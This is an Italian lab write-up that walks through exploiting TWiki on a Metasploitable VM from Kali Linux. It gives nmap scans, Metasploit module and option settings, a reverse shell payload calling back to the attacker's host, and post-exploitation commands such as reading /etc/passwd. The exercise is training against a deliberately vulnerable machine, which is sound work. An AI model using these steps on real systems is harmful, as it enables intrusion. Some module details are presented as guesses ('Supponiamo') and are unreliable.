Exploit TWiki

SOLUZIONE – CONSEGNA 2

Passaggi Preliminari

1. **Configurazione dell'ambiente:**
   - Assicurarsi che entrambe le macchine virtuali (Kali Linux e Metasploitable) siano nella stessa rete.
   - Ottenere l'indirizzo IP della macchina Metasploitable eseguendo `ifconfig` (Linux) o `ipconfig` (Windows) sulla macchina Metasploitable.

Passaggi di Attacco

1. **Identificare l'IP di Metasploitable:**
   - Eseguire una scansione di rete con `nmap` per trovare l'indirizzo IP della macchina Metasploitable.

     ```
     bash
     Copia codice
     nmap -sP 192.168.1.0/24
     ```

2. **Eseguire la scansione delle porte:**
   - Identificare i servizi in esecuzione sulla macchina Metasploitable.

     ```
     bash
     Copia codice
     nmap -sV 192.168.1.XX
     ```

     Assicurarsi che la porta 80 (HTTP) sia aperta, poiché TWiki di solito è un'applicazione web.

3. **Avviare Metasploit Framework:**
   - Avviare Metasploit sul sistema Kali.

     ```
     bash
     Copia codice
     msfconsole
     ```

4. **Ricerca della vulnerabilità TWiki:**
   - Utilizzare il comando di ricerca per trovare un exploit per TWiki.

     ```
     bash
     Copia codice
     search twiki
     ```

5. **Selezionare l'exploit:**
   - Supponiamo `exploit/unix/webapp/twiki_search`.

     ```
     bash
     Copia codice
     use exploit/unix/webapp/twiki_search
     ```

6. **Configurare l'exploit:**
   - Impostare l'indirizzo IP di Metasploitable come `RHOST`.

     ```
     bash
     Copia codice
     set RHOST 192.168.1.XX
     ```

   - Impostare la porta HTTP come `RPORT`.

     ```
     bash
     Copia codice
     set RPORT 80
     ```

   - Impostare l'URL del percorso TWiki se necessario.

     ```
     bash
     Copia codice
     set TWikiBase /twiki
     ```

7. **Configurare il payload:**
   - Scegliere un payload appropriato, ad esempio, una shell inversa.

     ```
     bash
     Copia codice
     set payload cmd/unix/reverse
     ```

   - Impostare l'IP di Kali Linux come `LHOST`.

     ```
     bash
     Copia codice
     set LHOST 192.168.1.YY
     ```

   - Impostare la porta di ascolto come `LPORT`.

     ```
     bash
     Copia codice
     set LPORT 4444
     ```

8. **Eseguire l'exploit:**
   - Avviare l'exploit per ottenere l'accesso alla shell sulla macchina Metasploitable.

     ```
     bash
     Copia codice
     exploit
     ```

Dopo l'Attacco

1. **Accesso alla Shell:**
   - Se l'exploit ha successo, si avrà una shell sulla macchina Metasploitable.

2. **Post-Exploitation:**
   - Esplorare la macchina per ulteriori vulnerabilità o informazioni sensibili.
   - Utilizzare comandi come `uname -a`, `ifconfig`, `netstat`, `ps aux`, `cat /etc/passwd`, ecc.